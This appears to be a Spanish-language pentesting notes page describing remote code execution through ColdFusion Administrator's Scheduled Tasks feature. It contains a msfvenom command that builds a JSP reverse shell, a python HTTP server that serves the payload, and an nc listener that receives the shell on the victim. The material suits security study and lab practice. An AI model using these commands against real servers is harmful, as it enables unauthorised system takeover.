# ColdFusion Administrator

## ¿Qué es y como funciona?

Coldfusion es una plataforma de desarrollo rápido de aplicaciones web que usa el lenguaje de programación CFML. En este aspecto, es un producto similar a ASP, JSP o PHP. ColdFusion es una herramienta que corre en forma concurrente con la mayoría de los servidores web de Windows, Mac OS X, Linux y Solaris

## RCE administrator panel

Si conseguimos acceder al Administrator del ColdFusion como el usuario Administrador y tenemos directory listing de los archivos del sistema, podemos subir un archivo malicioso que puede ser tanto ASP, JSP o PHP el cúal nos permita tener acceso al sistema victima, se puede subir mediante:

* Scheduled Tasks

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FsUgCkvUFJK6GRWca5gXc%2Fimagen.png?alt=media&#x26;token=6f0fbb0f-a725-41b4-bda3-cf69e5c77b86" alt=""><figcaption></figcaption></figure>

1. Entramos en Schedule Tasks y le damos a Shecule New Task

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2Fxtl4zBTfnnlpNVby8fty%2Fimagen.png?alt=media&#x26;token=6893f594-76eb-4f59-ba1e-7a74b43a94a0" alt=""><figcaption></figcaption></figure>

2. Y antes de poner los nombres, creamos con msfvenom el payload que subiremos a la máquina victima y que nos dará acceso a ella.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2F7XRsDZlCkTRjzrmgrNxO%2Fimagen.png?alt=media&#x26;token=35dc8354-908c-493d-a3af-4e73e6566834" alt=""><figcaption><p>Seleccionamos la java/jsp_shell_reverse_tcp</p></figcaption></figure>

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.14 LPORT=4443 -o exploit.jsp
```

3. Donde está el exploit.jsp abrimos un servidor con python para que lo descarge el ColdFusion y lo suba.

```
python3 -m http.server 9000
```

* Para saber donde se alojan los archivos, tenemos que ir a Server Settings --> Mapping

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FjrWLgOkKXtfXaXA2nz1q%2Fimagen.png?alt=media&#x26;token=271eef78-8053-4777-aa4e-8555e11488c0" alt=""><figcaption><p>Alojamiento archivos que se suben</p></figcaption></figure>

4. Una vez ya sabemos donde se suben los archivos y hemos creado el payload, ahora toca rellenar la tarea.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2Fa4t66lr4HlkGQ3VBDtf1%2Fimagen.png?alt=media&#x26;token=97c7efa5-c4fa-4aed-bf25-74c5341407e7" alt=""><figcaption><p>Tarea programada</p></figcaption></figure>

5. Ejecutamos la tarea para que se descarge el exploit.jsp

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2F5ZdV1CvtuBGKrbUCglMj%2Fimagen.png?alt=media&#x26;token=1351ee9b-8872-4374-8c89-95ed94bb44aa" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2Fjz5uFBGhpsSt5qjiW3n5%2Fimagen.png?alt=media&#x26;token=e21c1e07-f544-4e55-8d4d-d45e5589f9e4" alt=""><figcaption><p>Petición GET al exploit.jsp</p></figcaption></figure>

6. Si actualizamos el directory listing vemos que está el exploit.jsp

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FvfaHlE1DJ3zVRliKStRY%2Fimagen.png?alt=media&#x26;token=bd5a9456-6716-4d84-b7ca-b10d0f479103" alt=""><figcaption></figcaption></figure>

7. Ponemos un listener para que espere la petición que nos dará el exploit.jsp una vez le demos click

```
rlwrap -nc -lvnp 4443 # rlwrap para tener una consola interactiva, poder hacer Ctrl+L y mover tranquilamente las flechas etc
```

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2Fgy6VBp69LYyIyAja2OuI%2Fimagen.png?alt=media&#x26;token=88932704-12ff-4b7c-9e0b-7524fc2dc6aa" alt=""><figcaption><p>Shell sistema victima</p></figcaption></figure>
